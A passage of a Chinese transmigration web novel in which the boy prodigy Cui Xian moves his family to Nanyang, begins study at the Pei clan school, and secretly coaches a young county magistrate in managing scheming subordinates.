便见崔岘笑道:“祖母,这些都是小事儿。房屋租赁,我大哥裴坚已经帮忙解决了,咱只管过去。” “至于租店铺、做生意,我另一位大哥庄瑾会解决。哦对,他是南阳首富的儿子。” “摩喉罗的烧制,我还有一位大哥来解决,他是工匠李的儿子。” “至于安全问题嘛,高奇负责。” “你们看,这是四十两银子,裴坚、高奇临走前给的入干股钱。不出意外到了南阳,庄瑾、李鹤聿也会再各给20两入股。” “八十两银子,足够咱们把店铺开起来了!” 听完这番话,全家人都瞠目结舌。 去了南阳短短不到仨月,岘哥儿竟认了这么多厉害‘大哥’? 老崔氏激动的想,既然这样,搬去南阳,好像没有任何顾虑! 崔岘手里拿着四十两银子,笑的神采飞扬:“当日我离家,就跟祖母保证过,以后定要混出个人样来,光耀崔家门楣。” “今日,孙儿来兑现诺言了。” “钱财、声望、关系往来、社会地位,如今咱们都不缺。一个小小南阳县城,大可去得!” “去了南阳后,我,阿兄,父亲、大伯,安心读书科考。” “祖母,娘,和大伯母,阿姐张罗照顾家中生意。” “咱们共同齐心协力,重现昔日崔家荣光。日后外人提起崔家,少不得要竖起大拇指,赞一句:南阳崔氏。” 好一个南阳崔氏! 老崔氏听得浑身震颤,神往不已:“好!好啊!听岘哥儿的,这个家,咱搬!” 其余崔家人,更是被岘哥儿这番话,鼓舞的热血沸腾,满眼振奋。 就在这个时候。 陈氏突然捂住肚子‘哎呦’一声。 全家人吓了一跳。 陈氏涨红着脸,道:“方才太激动,一下子没忍住使了劲儿……我,怕是要生了呢!” 啊? 老崔氏慌忙道:“快快快,男人们都出去。老大媳妇,扶你弟妹进屋!” 于是,崔家男人都被赶出屋子。 崔岘神情呆愣愣的,两辈子加一起,他还是头一次见到产妇临盆呢。 好在,陈氏顺利生下个女孩儿。 崔仲渊笑容咧到嘴角:“我有女儿了。” 崔岘同款表情,也笑的憨憨的:“我有妹妹了,刚好那个鎏银长命锁,可以给妹妹戴。” 陈氏听了,欢喜戳了戳闺女的小脸:“哎哟,小丫头,命是真好啊!跳过咱家的苦日子,直接来享福咯。” 全家人闻言都在笑。 还真是呢! 以后啊,崔家的日子,必定会越过越顺畅! 因为家里喜事不断,又添了新丁。 老崔氏一挥手,大方摆了席面,并公布了即将搬迁到南阳的消息。 村里人都来恭贺。 得知崔家要搬迁去南阳,也不觉得奇怪,反而觉得理所当然。 人家这是飞黄腾达咯! 后面一个多月,崔岘都在家里待着。 等陈氏产后恢复好身体,等妹妹一天比一天健壮。 七月底。 裴府特地安排了两辆马车,挑了最稳的车夫,垫上柔软的褥子,来接崔家人去南阳。 搬家那日。 崔家人笑的喜气洋洋。 老崔氏神情无限感慨,回望自家仍旧寒酸破败的房屋,竟生出几分不舍来。 有村里人笑着调侃:“咋了嫂子,舍不得?那就别走啦。” 老崔氏一扭头,毫不犹豫上了马车:“该走还得走哟!各位乡亲放心,老婆子我以后,必定会常回来探望大家的。” 众人闻言齐齐哄笑,眼中有羡慕、有唏嘘。 他们也算是亲眼见证一个家族的崛起了啊! 在全村人的目送中。 崔家人乘坐马车,迎着朝阳出发,缓缓离开生活了二十年的河西村。 二十年前,寡妇崔氏抹着眼泪,带两个儿子,凄惨搬来此地。 二十年后,老崔氏眼含得意,一家三代人神采飞扬,意气风发的搬家离开。 正如崔岘那日所说的。 一个崭新、富硕、实力雄厚的积善之家—— 南阳崔氏,就此迎来了独属于他的灿烂辉煌荣光! 50、崭新的开始 南阳县城。 仲景巷里好生热闹,因为一户姓崔的人家,今日乔迁新居。 几位邻里探身张望,凑一起唠闲话。 “瞧着来头不小啊?” “哎哟,七八辆马车先后来探望,似乎都还带着仆从呢!” 大家语气惊叹,猜测新邻居的身份。 这时,对面院子走出一位老汉,冷脸朝门口泼了一盆淘米水。 而后不屑啐道:“真要有什么来头,能住仲景巷这破落地方?早搬去伏牛巷了!” 说罢。 老汉扭头回家,重重关门。 几位邻居面色不虞,这崔老头,今日又发什么疯呢? 谁惹他了! 其中一位邻居转了转眼珠,目露了然:“许是因为新搬来的邻居也姓崔,人家正风光无限,他家一地鸡毛。同姓不同命,嫉妒了呗。” 这话,让周围众人都脸色微妙。 仲景巷里谁不知道,这崔家日子过得糟心,一大家子都极为难缠。 也是巧了。 新搬来的邻居,同样姓崔。 刚住进来,就被崔老头给嫉恨上了! 以后怕是有热闹看咯。 另一边。 新搬来的崔家,确实正风光得意。 这仲景巷虽说陈旧了些,但位置极佳。 走到伏牛巷,也就一炷香的功夫。 出了巷子,集市、坊市、牲畜作坊、早点铺子、酒楼茶楼、书肆医馆等等,也都距离不远。 生活极为便利。 更妙在,租金也不算贵——每月八百文。 这是裴家帮忙物色许久,特地挑的地方。 牙行看在举人老爷家的面子,给了个实惠价。 每月八百个大子儿的基础开支,换做以前,老崔氏是万万不肯的。 因为一年下来,单是租金都得将近十两银子了! 好生吓人。 但为了岘哥儿、钰哥儿方便读书,为了日后把两个儿子送进县学,为了一家子能过的舒畅些。 老崔氏一咬牙,租了! 岘哥儿如今出息了,一家人日子越过越好。 老崔氏身上的阴郁在不自觉消失,变得爱笑,瞧着就是个和蔼的老妇。 此刻。 她坐在新家院子里,笑着逗弄小孙女哩。 崔伯山、崔仲渊两个男人,和大伯母林氏,以及几个小的,正忙活着打扫、擦洗。 新家院子不大,只有原来在河西村时候的一半。 仍旧是三大间厢房,里面又套了三个小间,一家子都能住下。 崔岘也有个独属于自己的房间了! 更妙的是,院子里还有口水井。 西边搭了鸡棚,挨着鸡棚不远处,栽种了一棵桂树。 据说是以前一位秀才公种下的。 老崔氏一眼瞧见,就稀罕的不行:桂树,好寓意啊!以后她的儿子、孙子,都能蟾宫折桂呢! 看得出来,裴家人为挑这个房子,是真费了心思。 不仅如此。 今日崔家乔迁新居,裴家、高家、庄家、李家的夫人们,都特地来恭贺。 搬到新住处,有人恭贺道喜,人情往来热络。 这日子,哪能过不红火呢? 林氏一边收拾,一边笑着提议道:“娘,今晚上咱家杀只鸡炖一炖,庆祝般新家。” 听到这话,一家人都很是意动。 老崔氏非常痛快就同意了:“行!” “耶!太好咯,有炖鸡吃咯!” 崔璇高兴到眼睛放光。 她带着钰哥儿、岘哥儿,姐弟三人合力,逮了一只棚子里最肥的大公鸡。 自家养的新鲜土鸡,加上最近才成熟的头茬芋头,在铁锅里炖上足足半个时辰。 鸡肉软烂,和被炖到绵糯的芋头一起送入口中咀嚼。 当真是香呐! 一家子八口……不对,现在是九口人,吃的两眼冒光。 可惜最小的那个只能眼巴巴看着。 饭后。 陈氏看了眼天色,说道:“钰哥儿、岘哥儿,赶快去睡觉。明日就要开始去上学哩,可不能迟到。” 崔钰、崔岘兄弟二人闻言,自是乖乖回屋。 睡前,崔岘看着崭新的家,惬意伸了个懒腰。 穿越过来短短几个月,他替自己挣来了神童的名声。 又把贫困的家,从河西村捞出来。 如今生活终于步入正轨,自己也即将入裴氏族学读书,正式成为一名‘拥有正规学籍的古代小学生’。 啧,这么想想,自己做的还挺不错? 睡前夸一夸自己。 而后困意来袭,崔岘沉沉睡去。 准备迎接一个崭新的开始—— 古代小学生的日常。 嗯,是在古代贵族小学读书的小学生日常! 次日,卯时。 天刚蒙蒙亮,附近负责报晓的寺庙头陀,一边敲木鱼,一边沿街报时。 巷子里,一家又一家亮起油灯。 陈氏要带闺女。 听见动静的老崔氏,林氏率先起床,简单洗漱后。 在头陀报晓声中,在天边刚浮现的鱼肚白清晨,推开院子出门。 若是此刻在南阳县城上空俯瞰,便能发现,这座城市经过一夜沉寂,开始‘活’了过来。 三五孩童走街串巷,叫卖小报。 牲畜坊市最是赶早儿,许多肉铺摊子旁,已经排起了长长的队伍。 这个时候的肉,最是新鲜,且便宜。 现杀的,肉还冒着热气嘞! 老崔氏看的欢喜,没忍住割了二十文猪肉。 再往前走。 果子行也极为热闹。 各种新鲜的蔬菜,瓜果,米面粮食,佐料药材,琳琅满目。 这些暂时不用买,昨日裴家人送来了好多,还没吃完呢! 老崔氏、林氏是出来买早点的。 城里不比乡下,百姓生活节奏快。上工的、上学的都得早起,是以早点铺子、摊位花样繁多。 距离仲景巷不远,便有个‘早点一条街’。 烧饼、蒸饼、糍糕、雪糕,油炸桧,这些都是最普通的。 精致些的,还有鸡丝面、鱼丸汤、灌肺、炒肺。 最近正是仲夏,天气炎热,乌梅汤、桂花汤最是受欢迎。 当然这是穷人的吃法。 有钱人家的少爷、小姐,一般都去酒楼、茶楼,坐下来优哉游哉享用早点。 路过一家茶楼的时候。 老崔氏和林氏,还听见有说书人,在讲《虹猫蓝兔七侠传》呢! 婆媳俩听了一会儿,神情自豪极了。 但因为赶时间。 她们不敢多逗留,二人买了一份炒肺,烧饼,粟米粥,这是给大人吃的。 至于家里三个小的,则是给他们买了鸡丝面,和油炸桧,以及解暑乌梅汤。 半大小子,吃穷老子! 几个小的现在都能吃着嘞。 一顿早食,花了不少钱,老崔氏一边抱怨城里花销贵,忒吓人。 可回去路上,瞧见有人家在买现挤的鲜牛奶,又忍不住道:“家里几个小的,正是长身体的时候,以后每日也给他们煮上一碗牛奶罢。” 林氏就笑:“婆母方才还说城里花销大呢。” 老崔氏摇摇头,该花还是得花啊。 不过岘哥儿说的摩喉罗生意,得早点提上日程了,不然坐吃山空,谁家遭得住? 这些烦心事儿,大人们自是不会给小孩儿说。 因此买完早点回家后,老崔氏换上一副和蔼姿态,笑着喊道:“璇姐儿、钰哥儿、岘哥儿,起床洗漱咯。” “祖母把早点给你们买回来了,有鸡丝面、油炸桧、还有甜滋滋的乌梅汤。” 她这话说完,自是没人回应。 时间太早,天才刚蒙蒙亮呢! 至于那只报晓的公鸡,今日休沐,因为昨夜被吃进肚子里啦。 于是老崔氏便拎着早点,去房间里,故意走动。 崔岘在诱人油炸桧的香味儿中醒来,肚子咕噜噜抗议。 他揉了揉惺忪的眼睛,笑着看向祖母:“好香啊!祖母,你肯定是故意馋我呢。” 老崔氏就笑:“懒虫,快起床吃早食,然后去学堂。” 崔岘一咕噜爬起来,也跟着笑:“收到。” 咿? 他怎么会说‘收到’呢?那不是前世做牛马时候的专用词汇吗? 总之—— 古代小学生崔岘,就这样开启了自己上学的日常。 51、上学啦 崔岘去院子里洗漱。 崔璇、崔钰姐弟二人也紧跟着起床。 吃到早食的那一刻,三人脸蛋上都是同款满足的表情—— 太好吃了! 饭后。 在崔伯山、崔仲渊的带领下,崔钰、崔岘一起背着书箱,出门去上学。 老崔氏仍有不放心,交代道:“记得把束脩带给夫子,还有,路上注意安全。” “知道啦祖母。” “好的娘。” 父子四人走出家门。 两个父亲手中,各自提着一大篮束脩——里面分别装着芹菜、莲子、红豆、红枣、龙眼、肉干。 虽然裴家特地邀请崔岘来读书,甚至不惜每月补贴五两的生活开支。 但束脩还是要给的! 礼不可废,这是对夫子的尊重。 清晨日头将将升起,空气还带着些许凉意。 崔家一行人出了仲景巷,往东走上不到一炷香的功夫,便来到了伏牛巷口。 “来了来了!” “岘弟,你们总算是来了。” “快走快走,吴清澜那臭老头,最近竟把上学时间提前了半个时辰。” “迟到了要打板子,简直丧心病狂!” 裴坚、高奇、庄瑾、李鹤聿四位大哥,纷纷丧着脸吐苦水。 换做平日,他们不在意这个。 反正也懒得去学堂。 可现在,不是要跟着岘弟一起好好读书了嘛! 听到这话,崔岘几人赶快加紧步伐,朝着裴氏族学走去。 族学里。 学子们个个苦着脸,精神萎靡。 吴夫子手持戒尺,训斥道:“看看你们现在的模样,一点精神也无,将来如何考科举!” “还有,往日为师分明教授过你们如何作诗!” “但你们所有人眼睁睁看着《咏鹅》输给一首歪诗,却无动于衷,还敢抱怨崔岘逞强。” “当真气煞我也!” 听到夫子这话,学子们顿时表情讪讪。 也不能怪他们呐,赵耀祖那首《咏新竹》,乍一看确实挺唬人的嘛! 这时。 忽听一人喊道:“崔岘来了!” 一族学的人齐刷刷转身,直直看向门口,眼神热切。 终于回来了。 这段时间,全族学,不,全南阳都在激烈谈论他呢! 方才还臭着脸的吴夫子,表情一刹那由阴转晴,笑的满脸都是褶子。 瞧的族学一帮学子们瞠目结舌。 天呐,这个老古板,他竟然还会笑呢! “崔岘,好孩子,总算是把你给盼来了。” 吴夫子激动的竟主动过来迎接。 瞧见崔家带的束脩,嘴角都笑的合不上:“这般客气,还给为师带了礼。” 收了学生束脩,就是对方的老师。 吴夫子自是不在意这些束脩。 他在意的是,给一位神童天才做开蒙老师啊。 不信的话,出去打听打听,就崔岘这般神童,仕林大儒们绝对抢着要收徒。 也就现在这孩子还小,暂时便宜了他吴清澜呢! 见吴夫子这般‘不值钱’的模样,裴坚四人纷纷怪笑出声。 崔仲渊、崔伯山也想笑,但因为是以家长身份来的,忍得好生辛苦。 等吴清澜收了束脩。 崔钰、崔岘兄弟二人叩拜过夫子,这礼便成了。 吴清澜略略打听了崔钰的学习进度,然后把他安排去了‘小班’。 而崔岘,则是去了‘中班’。 直接跟大哥们同班。 这下,裴坚等人笑不出来了—— 他们想到了先前岘弟‘一读就会一背全对’的刺激场面,只觉得头皮开始发麻。 偏偏其余人还没意识到,族学里即将迎来一个何等可怕的妖孽怪物。 大家围拢在崔岘身边,浩浩荡荡进了课堂。 每个人脸上都带着兴奋,看着崔岘的目光,有敬佩、有好奇、有崇拜。 八岁,写话本,作诗,名扬南阳县城! 这……堪称古代版‘童星’啊。 趁着吴夫子还没来上课。 学子们先后跟崔岘热情搭话,这个说:“崔岘兄,我带了肉脯,香得很,你要不要尝尝。” 那个说:“崔岘兄,那首《咏鹅》当真是朗朗上口,我实在佩服啊!” 还有说:“崔岘兄,我也写了首诗,咱们找时间切磋一二。” 当然这话一出,立刻遭到其余人一片嘘声。 崔岘被围拢在中间,桌面上放满了各种零嘴儿礼物,一时间都不知道该跟谁道谢。 新同学们都好热情啊! 这并非崔岘第一次来族学,但这一次来,感受是全然不一样的。 因为他不再是小书童,而是教室课堂里的学子。 并且是最最耀眼的那一个! 吴清澜走进课堂的时候,看到的就是这一幕。 他非但没生气,反而笑呵呵调侃道:“看来我们的新同窗,很是受欢迎呐。” 其余学子们都哄笑出声。 裴坚揽住自家小弟的肩膀,笑的十分得意:“那是自然!” 但很快,他们就笑不出来了。 因为就听吴夫子说道:“今日先不讲课,趁着有新学子到来,我刚好公布接下来的课业安排。” “一,诸生清晨到族学后,先将昨日学习内容流利背诵五遍。再背诵三首新学的诗,背熟后,再将今日所授书,分作两节,读三十遍。然后放饭。” 什、什么? 听闻此话,学子们简直不敢相信自己的耳朵。 吴老头你想饿死我们就直说! “二,饭后,看书一个时辰。看书毕,写一张字帖送呈夫子,教其美恶以行赏罚。” “三,每日晚讲忠孝勤故事二条,诸生需熟记,随时面对抽查提问。” “四,朔望日理半月前功课并考试,以行赏罚。” “五,诸生表现优异者,给赏票一张,可免除一次责罚。功课勤惰,亦当赏罚行之。” “六,诸生表现优异者,记录在簿一分,积至十分,给予纸笔犒赏。” 快速说完这些新的‘规矩’。 吴夫子不理会下面哀嚎的众人,问道:“有问题吗?” 裴坚愤愤举起手:“有问题,为什么你说的每一条,都像是在针对我?” 庄瑾三人同样心有戚戚。 吴清澜佯装没听到,不予回应。 又一位学子小心问道:“敢问夫子,背诵的书籍包括哪些?” 这次吴清澜想了想,说道:“经、史、律、算皆有,以四书五经、史传、文集为重。” “四书、《孝经》、《小学》、《五经》传注、《周礼》、《仪礼》、《三传》、《国语》、《国策》、《性理》、《文选》、《八家文集》、《文章正宗》等等。” “《御制大诰》和律令,也需适当涉猎。” 那学子脸色苍白的坐下,只觉得天都塌了。 满学堂全是倒抽冷气的声音。 吴清澜这厮怕不是疯了! 唯有崔岘听着这一长串书名,心生期待—— 想要走科举,就得战胜这些书籍啊! 哪怕前世身为汉语言文学博士,他也不敢说真的精通如此多科目。 更何况像是律令、史传等等,他都需要重新了解。 好在,他崔岘,不缺从头再来的勇气! 面对一片抗议、哀嚎,吴夫子说道:“好了,既然大家没有异议,那就这么定下了,从明日开始执行。” 众学子咬牙切齿,几十双眼睛恶狠狠瞪向他。 我们看起来像是没有异议? 说完课业布置后。 吴清澜把崔岘单独喊出来,和蔼笑道:“你放心,为师知你刚开蒙,根基尚浅。为师先多给你十张赏票,以后若遇到责罚,用它来抵。” 偷偷过来探听他们谈话的裴坚:? 区别对待,这就是区别对待吧! 吴老头不做人! 崔岘拿着吴清澜递来的十张赏票,神情古怪。 没等他说话。 就听吴夫子又小声道:“还有,你这个月好生表现,最好能再作一首诗,准备起来。” “据可靠消息,未来一月内,县尊大人会来我们族学视察。” 好家伙! 原来古代也有‘政治作秀’啊? 听闻这话,崔岘眼睛亮起来。 若是他这神童之名,能获得官方背书,那这科举之路,就彻底稳了啊! 52、手把手教你做县令(上) 族学里。 吴清澜说完‘县令视察’的事情,见崔岘眼睛亮起来,便知道他听进去了。 这孩子是真聪明。 吴夫子也是真心喜欢他。 因此想了想,又交代道:“县尊大人年初才来上任,为师只远远见过一面,瞧着好生威严。” “听裴坚父亲、祖父说,新任县尊年纪不大,但才华不可小觑。为人也极其刚正不阿,想来属于办事雷厉风行,眼睛里揉不得沙子的性格。” 崔岘心中了然。 夫子这意思是说,来日莫要在县尊面前故作卖弄,以免弄巧成拙。 “多谢夫子教诲,学生谨记于心。” 崔岘躬身道谢,在吴夫子欣慰的注视下,返回课堂。 回去的路上,一位陌生的学子似是不小心,撞了崔岘一下。 那学子没吭声,匆匆走了。 但二人相撞的瞬间,崔岘手里多了一张字条。 崔岘不动声色展开,等看清楚字条上的内容后,脸色一凝。 “族学里有赵家的人在盯着你,万事小心。” 赵家的人…… 赵耀祖? 崔岘收起字条。 回到课堂后,似是随意闲聊,他问裴坚:“大哥,我当时回河西村后,《咏鹅》是如何得以正名,反压过《咏新竹》的?” 说起这个,裴坚暂时忘记新课业规划带来的悲痛。 他捧腹大笑,一副天真姿态:“哦对,此事我竟忘记同你讲了。赵耀祖那厮,把《咏新竹》、《咏鹅》全南阳县城发放,意图借你作垫脚石扬名……哪成想,哈哈。” “还有,有人当街痛批《咏新竹》。赵耀祖的祖父,误以为是在夸赞他家孙子,还厚着脸皮去攀谈呢。” 崔岘跟着裴坚一起笑。 心却沉了下去。 赵耀祖的祖父赵志,是南阳县衙二把手,县丞。在这南阳县,绝对算得上权势滔天。 穿越过来后,崔岘自问已算是八面玲珑,从不主动惹事儿。 但架不住别人来找茬啊。 崔家刚搬来南阳,正是要开启崭新生活的关键阶段。 绝对不容出一点差池。 对方是县丞,是官。稍微动用一点小手段,如今的崔家都招架不住。 再直白点来说—— 虽然赵县丞目前还没动手。 但熟读过《厚黑学》的崔岘,已经在考虑,该如何给南阳县衙换一位县丞大人了。 主动权掌握在自己手中,才最安心。 赵志权势滔天,做了三十年县丞,赵家又是南阳乡绅之首。 而崔岘如今才八岁。 两人差距犹如云泥,这局棋,该如何下? 崔岘把目光盯向了南阳县令。 通过吴夫子的告知,他现在有了一个跟南阳县令接触的机会。 这是破局的关键。 若是此时有一个三维成像的虚拟棋盘。 那么崔岘,和尚且一无所知、但实力雄厚的赵志,端坐棋盘两侧。 赵志的‘老将’是他自己。 而崔岘呢? 他要跳出棋盘,把‘县尊’放在自家老将位置,然后自己作车,骑马架炮—— 朝赵志发起最猛烈的攻杀! 那么问题来了,如何能让县尊心甘情愿做自己的‘老将’呢? 崔岘一时间没有思路。 一天的课业很快结束。 念在崔岘第一天入学,夫子放他提前归家。 而裴坚等人羡慕的眼睛滴血,却只能老实待在学堂。他们需背诵完当天学的内容,方可下学。 背起书包走出课堂,崔岘去找崔钰:“阿兄,时间还早,要同我一起出去逛逛吗?” 崔钰一脸菜色:“我,我想回家温书。” 他在私塾开蒙,自然跟裴氏族学的学子无法比拟。 再加上还有一位天才妖孽阿弟,崔钰压力很大。 于是,兄弟二人在族学分开。 崔钰归家。 崔岘则是去闲逛。 一是想想该如何搭上县尊这条线。 二是看看《虹猫蓝兔七侠传》的销售情况,为开摩喉罗店铺做准备。 有个营生来源,一家人才能生活下去啊! 走出伏牛巷后。 崔岘随意进了一家书肆,果不其然,《虹猫》仍旧卖的很好。 “你们说,长虹剑究竟是什么模样?” “不仅长虹剑,我还在想,虹猫少侠长什么样子呢,必定威武不凡!” 听着几位书友的交谈,崔岘心中暗笑。 果然不管现代还是古代,永远都不缺二次元发烧友。 这时候。 一位青年模样,衣着普通,但却浑身散发着典型‘公务员’气息的男子走进书店,问道:“掌柜的,可有虹猫七侠的摩喉罗售卖?” 掌柜摇头。 其余几位‘书友’闻言,也笑道:“现在根本没有虹猫的摩喉罗,因为想象不出来少侠们会是什么样子的。” 青年眼睛里浮现出失落。 只是对于这些书友的话,不置可否。 因为这位青年从自己的途径得知——南阳有虹猫七侠的摩喉罗,只是数量极少。 这两日,青年去了好些书肆询问,但都没有找到。 他转身失落离开。 崔岘见状,目光一闪。 虹猫少侠的摩喉罗,他只给四位大哥一人一个。 后来又给高千户做了一套。 眼前这位疑似‘公务员’的青年,进来直接要买虹猫七侠摩喉罗。 嗯……想来应该是高千户带着摩喉罗出去炫耀,被这位青年得知了。 能接触到高千户这个圈层。 再加上如此明显的‘公务员气息’,崔岘心中推测,此人多半是衙门里的。 赵志赵县丞正虎视眈眈,县尊大人暂时还无法接触到。 裴家两位举人老爷,已经先后返回开封府。 高千户是兵,拿不下赵志。 那么,此时结交一位疑似衙门里的人探探风,还是很有必要的。 至于怎么结交嘛—— 像是这样的二次元发烧友,可太好拿捏了! 因此,崔岘快步走过去,冲着那位青年的背影小声道:“喂。” 青年疑惑的转身。 崔岘从怀里掏出一个物什,在他眼前晃了晃。 青年眼睛顿时一下子就瞪大了,表情也带上了激动。 竟是虹猫少侠的摩喉罗! 崔岘懂了——这人不仅仅是听过虹猫少侠摩喉罗,他还亲眼见高千户炫耀过! 看来,这青年绝对不是普通‘公务员’,多半还是个‘小领导’。 想通了这点,崔岘扭头就走。 那青年本来还在激动,自己跑了这么多家店铺,却意外在一个孩童这里,发现了虹猫少侠的摩喉罗! 他见过高千户那厮炫耀,绝对是的! 可一个愣神,那孩童竟走了。 青年反应过来,慌忙追上去,语气急切:“别走别走啊,价格好商量,你出个价,或者有本……有需要我帮忙的,你尽管开口。” 崔岘脚步不停:“改天再说吧,我迷路了。” 青年语气热络:“好说!你家住哪里,我送你回家。” 崔岘报了地址。 青年思索一番,有了印象,说道:“我大概知道位置了,我送你回去。” 崔岘‘哦’了一声。 见这小孩一直不说话,青年又眼馋对方的摩喉罗,绞尽脑汁跟人家套近乎:“你也喜欢《虹猫蓝兔七侠传》?你最喜欢哪个角色?” “肯定是虹猫对不对?” 崔岘不答,佯装警惕:“我为什么要告诉你?你该不会是拍花子吧,想要拐卖小孩?你是做什么的?” 青年闻言赶紧摆手:“我不是拍花子,你放心。我……我是做酒楼生意的。” 这显然是在随口胡扯。 谁知崔岘却眼睛亮起来:“酒楼生意?太好了,刚好有个事儿,你肯定能帮上我。” 啊? 这么巧的吗? 我就是随口胡扯的啊。 青年愣住了。 53、手把手教你做县令(下) 街道上。 青年带领着‘迷路’的崔岘回家。 二人态度反转,崔岘反倒是成为了主动的一方。 见青年愣神,崔岘又问道:“你还想不想要摩喉罗了?” 青年心中哽咽。 那可太想了! 不想要的话,何必颠颠跟在一个小孩身后献殷勤呢! 因此他挤出一个笑脸,很没出息道:“想!” 崔岘斜了他一眼:“那你就得帮我的忙。你说你做酒楼生意,你在酒楼里,地位排第几?” 青年迟疑片刻,说道:“算是排第一吧。” 豁! 果然是个领导。 酒楼里排第一,说不定还是某个部门的大领导。 此人看着年轻,不仅是个典型公务员,还浑身散发着‘清澈愚蠢大学生’气息。 大概率刚开始上班不久,没有经验。 一工作就能当部门大领导,难道家里有后台? 崔岘捏不准,因此眼睛亮起来,佯装惊喜:“这么说你是东家?整个酒楼都是你的?太好了!” 青年闻言脸色一苦:“这……嗯,情况有些复杂。我虽是东家,但有很多事情却无法做主。” 奥。 那看来是没后台。 新兵蛋子被赶鸭子上架,一工作就当了大领导,多半还是‘空降’过来的。 下面人不服气,架空领导。 所以作为一把手,却在单位里很多事情都无法做主。 嗯……这一点尚且存疑。 没有经验,没有背景,年纪轻轻,怎么就能空降来做领导了呢? 难不成是被推出来背锅的‘炮灰’? 因为信息不足,崔岘尚且推测不出来。 他顺着青年的话,质疑道:“胡说八道,东家是最大的,怎么能做不了主。你是不是故意推辞,不想帮忙?” 青年闻言脸色越发苦闷。 没上任之前,他也天真的以为,一把手肯定是最大的! 但现实给他狠狠上了一课! 原来,一把手也可以是最没用的。 甚至每天只能无所事事看话本,出来满大街买摩喉罗,消磨苦闷时光,作为慰藉。 面对一个八岁小孩,青年卸下防备,含糊着解释道:“我并非推辞。而是酒楼里厉害人物太多,个个都不好惹。” 但青年却不知道,他只是自以为藏得好。 三句两句话,便被套了底细。 崔岘闻言不客气的笑出声:“笨蛋,再不好惹又如何,你毕竟是东家啊。” 青年自持身份,自然懒得跟一个小孩辩论。 实际情况复杂得很呐! 见他不说话,崔岘继续道:“你一看就不服气,那我来猜上一猜。你作为东家,却在酒楼说不上话,说明酒楼地位排第二的,是个厉害人物。” “排第二这位不仅厉害,还拉拢了排第三、第四的两人,作为同盟。” “铁三角阵营坚不可摧,所以你这东家毫无办法,地位受到威胁,对也不对?” 青年一开始还随意听着。 后来眼睛越瞪越大,心想神了,全被这小孩给说中了! 见他一副愣头青的表情,崔岘心中嘀咕。 此人身在衙门,新兵蛋子一个,空降大领导,却毫无‘办公室斗争’经验。 明显不是世家大族,很有可能是小镇做题家,纸面功夫厉害,政治嗅觉为零。 不是哥们儿,你凭什么空降来做大领导的啊? 奇怪。 青年不知道崔岘所想,见他全说中了,不知为何竟心生几分期待,问道:“可有破解之法?” 问完后,青年自己无声苦笑。 他也是够窝囊的,竟然试图在一稚童这里请教政治斗争。 政斗,那可是刀光剑影,波云诡谲,十分可怕的! 然而下一刻。 便听崔岘随意道:“自然有啊,简单的很!首先,你要知道,你是东家。你的身份天然就有优越性,这代表着,你随意做任何一件事,下面人都会揣摩。” 青年无奈道:“可我现在什么事情都做不了啊。因为我不管做什么事情,他们三人都会联合起来反对。” 这就属于典型的‘新手领导’。 被属下欺负真是一点不意外。 因为刚上任,没有摆正自己的位置,更不懂‘驭下’。 崔岘有意结交此人,因此指点道:“错了,思考的路子错了。三人联合起来反对你,那是因为你总想做点大事情,来证明自己。” “你太着急夺权了,意图明显,自然招来警惕。” “换个思路,我来问你,你明日去酒楼后,让全体伙计把酒楼上下打扫一遍,这总能做到吧?” 啊? 青年愣住,随后讷讷道:“能是能做到,但这有什么意义呢?” 意义大了! 因为作为领导,小事件打出大威力,才能震慑人心! 崔岘道:“你宣布打扫酒楼的事情,要当着第二、第三、第四这三位的面来说。” “然后,你目光殷切的看向地位排第四的人,却惋惜长叹一声,把这件事交给地位排第三的人去做。打扫完了后,你要当着所有人的面,狠狠夸赞地位第三这个办事儿的人。” 青年急急问道:“接下来呢?” 崔岘笑的狡黠:“接下来啊?把实质性的奖励,统统全都给地位排第四那个。” 青年浑身一震。 他办公室斗争经验不足,但不代表人愚蠢。 听完崔岘这番话,心脏开始噗通噗通跳动,没来由觉得——这个法子说不定还真行! 正当青年激动的时候。 却听崔岘道:“我到家了,改日再见啊。” 崔岘一溜烟跑了。 青年反应过来——自己还没买摩喉罗呢! 而且,这小孩不是说要找做酒楼生意的人帮忙吗,也没提要帮什么啊。 算了,反正知道这小孩家地址,改日再来一趟。 青年这样想着,迫不及待归家。 到了第二日,青年早起后,细细回想和崔岘的谈话,然后穿上县太爷的官袍,进了衙署。 许久后。 赵县丞,刘主薄、马典吏三人这才姗姗来迟。 青年叶怀峰县令暗中磨牙。 面上却忍住了,说道:“今日本官发现,衙门里实在太脏乱了。所以本官决定,把衙门上下全都打扫一遍。” 打扫衙门?这‘小县令’又抽哪门子疯呢。 赵志三人互相对视,一时间也没反对——就这么点事儿,也不值得反对。 真成了! 叶县令心中激动,这还是他第一次说话,没有遭到反对呢。 因此他乘胜追击,目光殷切的看向马典吏。 马典吏一怔,心想小县令是准备把这活儿交给自己干啊。也罢,就打扫个县衙而已,接就接了。 不曾想。 叶怀峰却惋惜叹了口气,道:“这个事情,就由刘主簿来操持吧。你向来沉稳,本官最是放心。” 马典吏:? 不是,几个意思,我不如姓刘的沉稳? 一点小事儿,刘主簿也没拒绝,命人把县衙上下打扫了一遍。 叶县令当着全衙门人的面,好生将刘主簿夸赞了一番。 刘主薄听得好笑,打扫个县衙罢了,这小县令吹嘘的,跟自己做了什么辛苦事儿一般。 然而到了下午,刘主薄笑不出来了。 因为小县令特地给马典吏批了两日假期,还把几个有大油水的差事,全都安排给了马典吏。 赵志竟也没反对。 好家伙,老子累死累活辛苦了一天,半点好处没捞到。 油水都让马典吏捞走了! 凭什么啊! 这天,刘主薄和马典吏一句话没说,不似往日亲近。 将这一切看在眼底的叶县令,激动到瞠目结舌—— 有用,真的有用! 他竟然真的从一个稚童身上,学到了真东西! 老天啊。 于是,年轻的叶县令当即在心里下了一个决定! 捂好自己的小马甲,继续和那位稚童保持联系,以便日后深度学习如何做县令! 54、天才妖孽和他的笨蛋大哥们 辰时。 县衙的叶县令,有幸得高人指点,正激动振奋。 而指点他的那位、目前只有小学学历的高人,此刻将将起床,准备上学。 出门前,老崔氏照旧交代:“钰哥儿,岘哥儿,路上仔细安全。” “知道啦祖母。” 崔钰、崔岘应声,一同出门。 老崔氏目送两个孙子远去,又回头督促两个儿子:“老大、老二,回房温书。” 崔伯山、崔仲渊立刻苦着脸回了屋。 新家安定了,孙儿上学了。 老崔氏松懈几天后,又开始紧绷起来,照旧盯着儿子读书—— 她在计划,如何把两个儿子送进县学。 可惜这并非使些银子就能简单办成的,还得走动关系。 另一边。 崔家兄弟二人,走到伏牛巷口,跟等待他们的裴坚四人汇合。 然后一同赶往族学。 但今日气氛不知为何,格外沉闷。 